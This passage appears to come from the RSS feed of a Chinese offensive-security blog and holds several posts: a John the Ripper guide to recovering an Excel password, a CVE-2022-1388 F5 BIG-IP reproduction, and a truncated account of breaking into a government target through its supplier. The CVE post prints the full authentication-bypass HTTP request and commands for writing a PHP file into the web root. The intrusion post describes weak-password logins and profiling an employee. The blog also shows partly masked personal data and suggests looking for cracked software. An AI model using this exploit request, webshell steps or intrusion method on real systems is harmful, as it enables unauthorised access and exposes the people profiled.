&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712896849713-d4d810.Bb_0HDyl_1nKQ69.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;对该邮箱进行历史信息关联可以得到以下结果：&lt;/p&gt;
&lt;p&gt;姓名：xx鑫&lt;/p&gt;
&lt;p&gt;邮箱：****5@qq.com&lt;/p&gt;
&lt;p&gt;身份证号：440********16&lt;/p&gt;
&lt;p&gt;手机号：1768****113&lt;/p&gt;
&lt;p&gt;那么该如何确定他是此IP是否为真实的攻击者呢？&lt;/p&gt;
&lt;p&gt;如上面所述，可以查询IP段是哪个机房的机器，通过对IP的查询，获得了对应的服务商是vultr。&lt;/p&gt;
&lt;p&gt;通过对vultr注册账号信息，得到结果:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712897082164-71f7a5.BvxRSFnK_Z23OY02.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;即可以确认：该钓鱼邮件/恶意IP/域名/人 要素齐全 高强度关联。&lt;/p&gt;
&lt;p&gt;同时利用情报获取到一封PDF文件。确定了该员工为某集团信息部员工。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1712897220032-5711b2.DZDx4y3t_G9l.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;END。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>John暴力破解忘记的Excel密码</title><link>https://s4u2self.cc/blog/john-excel-password-crack</link><guid isPermaLink="true">https://s4u2self.cc/blog/john-excel-password-crack</guid><description>John暴力破解忘记的Excel密码</description><pubDate>Fri, 23 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我朋友问我有一个很重要的excel忘记密码了，能不能找回来了，对他很重要，我记得老早之前hashcat是可以破解的，顺便查了一下，记录一下用法。&lt;/p&gt;
&lt;p&gt;简单叙述如何使用强大的密码破解工具 John the Ripper (JtR) 来恢复忘记密码的 XLSX 文件。我们将从基础概念讲起，覆盖 John 的几种核心破解模式。&lt;/p&gt;
&lt;h2&gt;前提条件&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt;: 确保你已经下载并解压了 John the Ripper。强烈推荐使用社区增强版 &lt;strong&gt;&quot;Jumbo John&quot;&lt;/strong&gt;，因为它支持更多的哈希类型和 GPU 加速。&lt;a href=&quot;https://github.com/openwall/john&quot;&gt;https://github.com/openwall/john&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标文件&lt;/strong&gt;: 你需要破解密码的 &lt;code&gt;.xlsx&lt;/code&gt; 文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;第一步：从 XLSX 文件中提取哈希&lt;/h2&gt;
&lt;p&gt;John a Ripper 无法直接处理 &lt;code&gt;.xlsx&lt;/code&gt; 文件，它需要一个特殊格式的“哈希”字符串。我们使用 &lt;code&gt;office2john.py&lt;/code&gt; 脚本来提取它。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开你的终端（Windows 上的 PowerShell 或 CMD）。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;cd&lt;/code&gt; 命令进入 John the Ripper 的 &lt;code&gt;run&lt;/code&gt; 目录。&lt;/li&gt;
&lt;li&gt;运行以下命令：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 将 &quot;C:\path\to\your\file.xlsx&quot; 替换为你的 Excel 文件完整路径
python .\office2john.py &quot;C:\path\to\your\file.xlsx&quot; &gt; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1757073937828-686b33.CsCcF417_BjLUS.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个命令会生成一个名为 &lt;code&gt;hash.txt&lt;/code&gt; 的文件，里面包含了 John a Ripper 需要的加密信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1757073960489-6df0ee.CwKHY_9__2rjxUg.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;第二步：选择破解模式并执行&lt;/h2&gt;
&lt;p&gt;John the Ripper 拥有多种破解模式，针对不同场景选择合适的模式是成功的关键。&lt;/p&gt;
&lt;h3&gt;John 的核心破解模式&lt;/h3&gt;
&lt;h4&gt;1. 字典模式 (Wordlist Mode)&lt;/h4&gt;
&lt;p&gt;这是最常用的模式。你提供一个包含常用密码的字典文件（wordlist），John 会逐一尝试。还可以配合规则（Rules）对字典词汇进行变形（如 &lt;code&gt;pass&lt;/code&gt; -&gt; &lt;code&gt;P@ss123&lt;/code&gt;），极大提升成功率。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# --wordlist=后接你的字典文件路径
john --wordlist=password.lst hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 增量模式 (Incremental Mode)&lt;/h4&gt;
&lt;p&gt;纯粹的暴力破解。它会尝试所有可能的字符组合，理论上只要时间足够，一定能破解。但对于稍长的密码，会非常非常慢。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 尝试所有8位以内的小写字母组合
john --incremental=Lower --max-len=8 hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 掩码模式 (Mask Mode) - 本次使用的模式&lt;/h4&gt;
&lt;p&gt;当你对密码结构有一定了解时，这是最高效的模式。你可以定义密码的格式，极大地缩小搜索范围。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;?d&lt;/code&gt;: 代表一位数字 (0-9)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?l&lt;/code&gt;: 代表一位小写字母 (a-z)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?u&lt;/code&gt;: 代表一位大写字母 (A-Z)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;?s&lt;/code&gt;: 代表一位特殊符号 (!@#$)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;: 破解一个6位纯数字密码。‘&lt;/p&gt;
&lt;p&gt;参考可以查阅：&lt;a href=&quot;https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/&quot;&gt;https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES&quot;&gt;https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(非常复杂，建议直接问AI)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;john --mask=?d?d?d?d?d?d hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单来说：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;?&lt;strong&gt;&lt;strong&gt; &lt;/strong&gt;&lt;/strong&gt;符号本身不是一个字符，而是一个“特殊指令”或“前缀”，它告诉 John：“请注意，跟在我后面的那个字母不是普通字母，而是一个代表特定字符集的占位符。”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;把它想象成一个填空题：&lt;/p&gt;
&lt;p&gt;__ __ __ __ __ __&lt;/p&gt;
&lt;p&gt;?d?d?d?d?d?d 这个掩码就等于在说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在第一个空 __ 里，填一个&lt;strong&gt;数字（digit）&lt;/strong&gt; (?d)&lt;/li&gt;
&lt;li&gt;在第二个空 __ 里，填一个&lt;strong&gt;数字（digit）&lt;/strong&gt; (?d)&lt;/li&gt;
&lt;li&gt;...依此类推，填满六个空。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;详细分解&lt;/h3&gt;
&lt;p&gt;让我们来深入看一下 ? 和它后面字母的组合。&lt;/p&gt;
&lt;h4&gt;1. 内置的标准占位符&lt;/h4&gt;
&lt;p&gt;John the Ripper 预定义了一些字母，当它们跟在 ? 后面时，就代表了特定的字符集。最常用的有：&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;占位符&lt;/strong&gt; | &lt;strong&gt;代表的字符集&lt;/strong&gt; | &lt;strong&gt;解释&lt;/strong&gt; | &lt;strong&gt;示例字符&lt;/strong&gt; |
| --- | --- | --- | --- |
| &lt;strong&gt;?d&lt;/strong&gt; | &lt;strong&gt;Digits&lt;/strong&gt; | 数字 | 0, 1, 2, ... 9 |
| &lt;strong&gt;?l&lt;/strong&gt; | &lt;strong&gt;Lower&lt;/strong&gt; | 小写字母 | a, b, c, ... z |
| &lt;strong&gt;?u&lt;/strong&gt; | &lt;strong&gt;Upper&lt;/strong&gt; | 大写字母 | A, B, C, ... Z |
| &lt;strong&gt;?s&lt;/strong&gt; | &lt;strong&gt;Special&lt;/strong&gt; | 特殊符号（ASCII） | !, @, #, $ ... |
| ?a | All | 所有可打印的字符（?l+?u+?d+?s） | a, A, 1, ! ... |
| ?h | Hex, lower | 小写的十六进制字符 | 0-9, a-f |
| ?H | Hex, upper | 大写的十六进制字符 | 0-9, A-F |
| ?b | All 8-bit | 所有可能的 ASCII 字符 (0-255) | (所有字符) |&lt;/p&gt;
&lt;h4&gt;2. 如何组合它们？&lt;/h4&gt;
&lt;p&gt;你可以自由地组合这些占位符来构建你认为可能的密码结构。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例1：一个首字母大写，后跟7个小写字母的密码 (例如 &lt;strong&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=?u?l?l?l?l?l?l?l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;示例2：一个4位数字的ATM密码，后面跟着两个大写字母 (例如 &lt;strong&gt;&lt;strong&gt;1234AB&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=?d?d?d?d?u?u
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3. 如果密码里就包含一个普通字母怎么办？&lt;/h4&gt;
&lt;p&gt;任何&lt;strong&gt;没有&lt;/strong&gt; ? 前缀的字符都会被当作&lt;strong&gt;普通（或“字面”）字符&lt;/strong&gt;来处理。John a Ripper 会认为这个位置的字符是固定不变的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例3：你知道密码以 &lt;strong&gt;&lt;strong&gt;pass-&lt;/strong&gt;&lt;/strong&gt; 开头，后面是4个数字 (例如 &lt;strong&gt;&lt;strong&gt;pass-1234&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;--mask=pass-?d?d?d?d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个例子里，p, a, s, s, - 都是固定不变的，只有后面的四个 ?d 位置会被 John 暴力破解。这极大地减少了搜索空间！&lt;/p&gt;
&lt;h4&gt;4. 更高级的用法：自定义字符集&lt;/h4&gt;
&lt;p&gt;你甚至可以定义自己的占位符 ?1, ?2, ?3 等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例4：你知道密码只有8位，且只包含 &lt;strong&gt;&lt;strong&gt;a, b, c, 1, 2, 3&lt;/strong&gt;&lt;/strong&gt; 这几个字符。&lt;/strong&gt;&lt;br&gt;
你可以定义一个自定义字符集 ?1，然后重复它8次。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;john --mask=&apos;?1?1?1?1?1?1?1?1&apos; --mask-char-?1=&apos;abc123&apos; hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;- &amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;--mask-char-?1=&apos;abc123&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;：这部分定义了&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;?1&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;这个占位符代表的字符集就是&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;&apos;abc123&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;。&amp;#x3C;/font&gt;
- &amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;--mask=&apos;?1?1?1?1?1?1?1?1&apos;&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;: 这部分告诉 John a Ripper 密码由8个来自&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;?1&amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt; &amp;#x3C;/font&gt;&amp;#x3C;font style=&quot;color:rgb(26, 28, 30);&quot;&gt;字符集的字符组成。&amp;#x3C;/font&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;? 符号它本身没有意义，但它&lt;strong&gt;赋予了紧跟其后的字母特殊的含义&lt;/strong&gt;，让你可以从“盲目地暴力破解所有可能”转变为“&lt;strong&gt;精确地、有策略地暴力破解特定格式&lt;/strong&gt;”，从而将破解时间从几年缩短到几秒钟。&lt;/p&gt;
&lt;h4&gt;4. 单一破解模式 (Single Crack Mode)&lt;/h4&gt;
&lt;p&gt;John 默认最先尝试的模式，速度极快。它会利用哈希文件中的用户名等信息进行简单的变换和猜测。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 不加任何模式参数，默认就会启用
john hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;实战演练：破解一个6位数字密码的 XLSX 文件&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1757074358646-1cb821.D1_lRgFS_k5VRl.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;在我们的实战中，我们知道密码是6位数字，所以选择&lt;strong&gt;掩码模式&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;理想的命令是：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;.\john --mask=?d?d?d?d?d?d hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常见问题与解决方案&lt;/h3&gt;
&lt;h4&gt;错误 : &lt;code&gt;Error: UTF-16 BOM seen in input file.&lt;/code&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;问题&lt;/strong&gt;: John 无法识别 &lt;code&gt;hash.txt&lt;/code&gt; 的文件编码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;: 使用 Windows PowerShell 的 &lt;code&gt;&gt;&lt;/code&gt; 重定向符创建文件时，默认编码是 &lt;code&gt;UTF-16&lt;/code&gt;，而 John 需要 &lt;code&gt;UTF-8&lt;/code&gt; 或 &lt;code&gt;ASCII&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决方案&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;用&lt;strong&gt;记事本&lt;/strong&gt;打开 &lt;code&gt;hash.txt&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;选择 &quot;文件&quot; -&gt; &quot;另存为&quot;。&lt;/li&gt;
&lt;li&gt;在弹出的窗口下方，将“编码”从 &lt;code&gt;UTF-16 LE&lt;/code&gt; 修改为 &lt;code&gt;UTF-8&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;保存并覆盖原文件。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第三步：查看破解结果&lt;/h2&gt;
&lt;p&gt;当命令成功执行后，你会看到类似下面的输出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Warning: detected hash type &quot;Office&quot;, but the string is also recognized as &quot;office-opencl&quot;
Use the &quot;--format=office-opencl&quot; option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 32 OpenMP threads
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
933728           (微信登记1 (1).xlsx)
1g 0:00:00:29 DONE (2025-09-05 19:45) 0.03344g/s 20067p/s 20067c/s 20067C/s 616778..351115
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果解读:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;破解的密码&lt;/strong&gt;: &lt;code&gt;933728&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;花费时间&lt;/strong&gt;: &lt;code&gt;0:00:00:29&lt;/code&gt;，即 &lt;strong&gt;29秒&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果之后想再次查看已破解的密码，可以运行：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;.\john --show hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，结束。&lt;/p&gt;
&lt;p&gt;PS：&lt;/p&gt;
&lt;p&gt;外面第三方软件有很多，我找了一下找到了一个Passper for Excel.exe的软件，看了一下应该也是调用的John，支持GUI图形化，建议有需要直接使用这个，搜索相关Passper for Excel crack。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&amp;写Webshell</title><link>https://s4u2self.cc/blog/cve-2022-1388-f5-rce</link><guid isPermaLink="true">https://s4u2self.cc/blog/cve-2022-1388-f5-rce</guid><description>CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&amp;写Webshell</description><pubDate>Sat, 17 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;h2&gt;漏洞描述&lt;/h2&gt;
&lt;p&gt;漏洞描述:&lt;/p&gt;
&lt;p&gt;在 F5 BIG-IP 16.1.x 16.1.2.2 之前的版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的&lt;/p&gt;
&lt;p&gt;14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x和 11.6.x 版本，未公开的请求可能会绕过&lt;/p&gt;
&lt;p&gt;iControl REST 身份验证。注意：未评估已达到技术支持终止 (EoTS) 的软件版本.&lt;/p&gt;
&lt;h2&gt;复现过程&lt;/h2&gt;
&lt;p&gt;HTTP请求包如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-makefile&quot;&gt;POST /mgmt/tm/util/bash HTTP/1.1
Host:xxxxxxx
Connection: keep-alive, x-F5-Auth-Token
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Content-Length: 45
Content-Type:application/json
{
&quot;command&quot;:&quot;run&quot;,
&quot;utilCmdArgs&quot;:&quot;-c id&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539049077-3b2d71.DcUV3Pz7_PRnED.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;EXP/POC&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yuque.com/attachments/yuque/0/2023/zip/21847644/1679539049196-4c895cab-9353-4e7d-812d-47e63cd52a89.zip&quot;&gt;CVE-2022-1388-EXP-main.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;Webshell写入&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539049329-5fa761.6v5QdWwg_Z3vRTe.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;反弹获得了shell。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;Webshell的写入可以参考另外一个漏洞F5 BIG-IP CVE-2020-5902&lt;/p&gt;
&lt;p&gt;写入的路径为：/usr/local/www&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mount -o remount -rw /usr
echo &quot;&amp;#x3C;?php phpinfo();?&gt; &quot; &gt; /usr/local/www/test.php
mount -o remount -r /usr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问路径：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539049463-486a2f.2PSPvNne_Z1s85Ub.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539049561-7bae7d.CMg3jgUU_ZbNOJf.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bbs.sangfor.com.cn/forum.php?mod=viewthread&amp;#x26;tid=116003&quot;&gt;F5 BIG-IP远程代码执行漏洞复现（CVE-2020-5902） &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/8008#toc-20&quot;&gt;CVE-2020-5902:F5 BIG-IP RCE分析研究&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>记一次从供应商到目标之旅</title><link>https://s4u2self.cc/blog/supply-chain-attack-case</link><guid isPermaLink="true">https://s4u2self.cc/blog/supply-chain-attack-case</guid><description>记一次从供应商到目标之旅</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;h2&gt;&lt;/h2&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;因涉及敏感信息较多，厚码见谅。&lt;/p&gt;
&lt;p&gt;最近一段时间有个项目，当时对某个单位目标进行了信息收集，该系统是一个邮件系统。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;目标：XXX.gov.cn 某个政务级目标&lt;/p&gt;
&lt;p&gt;系统：自建的邮件服务系统&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;系统有滑块验证，因此从web爆破邮箱的作用不大，同时，服务端也没有真实IP可以走协议爆破。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539045321-5e9c6c.D_xTk2sN_2azxDo.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;然后对该系统进行了信息收集，同时利用天眼查查询到目标所属资产的供应商为XXXX公司。该公司承包了该市级单位绝大部分的第三方系统开发，属于是很有价值的供应商，随即改变想法准备去从供应商下手。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x2 供应商信息收集&lt;/h2&gt;
&lt;p&gt;XX科技&lt;/p&gt;
&lt;p&gt;网址：testteam.com&lt;/p&gt;
&lt;p&gt;法人邮箱：188888888&lt;a href=&quot;/qq.com&quot;&gt;_@_qq.com &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;法人手机号：18888888888&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;下属公司&lt;/p&gt;
&lt;p&gt;XXX()科技&lt;/p&gt;
&lt;p&gt;网址：1.testteam.com&lt;/p&gt;
&lt;p&gt;法人邮箱：13333333&lt;a href=&quot;/qq.com&quot;&gt;_@_qq.com &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;法人手机号：13333333333&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;能从公开渠道查到的信息就只有这些，把收集到来的信息资产做了个查询，发现没啥可以利用的点，决定还是从网站入手。&lt;/p&gt;
&lt;p&gt;扫描域名，只获得了一个IP，查询历史解析也没有多余的的IP，对这个IP进行全端口扫描，对外开放IP只有3389和443、80这种端口，而且是云服务器，子域名也没有多余的资产。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539045610-eaf5db.BpMzHoph_ZuCvoC.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;不过发现网站目录中提供了一个OA登录的接口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539045797-b62caa.DJueq0aV_1BhXd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;利用弱口令登录尝试，输入账号后返回空白，但实际上是登录成功了的。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539045896-dd8c75.BnQlY64v_Lvb2o.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;不过登录流程逻辑可能有点问题，需要手动改请求和访问路径才可以到后台。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046042-9223d7.CTx09aW4_1q4cIk.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;到了供应商后台也没有发现什么信息，资产又少，所以决定从员工下手。&lt;/p&gt;
&lt;p&gt;众所周知，github的开发者常常喜欢放一些项目资料上去，一些脚本中的泄露账号密码此类的，于是我在GitHub上收集了到了疑似该公司的人。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046137-b7b0c1.VGmPcIbe_1neQEH.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;他的项目仓库里面存有该公司的手册，同时我在另外一个项目找到了他的一个书签和口令密码，决定深挖此员工。&lt;/p&gt;
&lt;h2&gt;0x3 员工信息收集&lt;/h2&gt;
&lt;p&gt;从他的项目代码来看，不少都是本地的localhostIP,不过有个别的书签地址引起了我的注意，其中一个是小米官网。&lt;/p&gt;
&lt;p&gt;根据现有的资产，该员工分别使用三个邮箱，分别为新浪和QQ，猜中他主要使用哪个邮箱也很容易，比如，查查小米的绑定。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1679539046220-4ed085.C1iKWKFb_Z2g1cG7.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
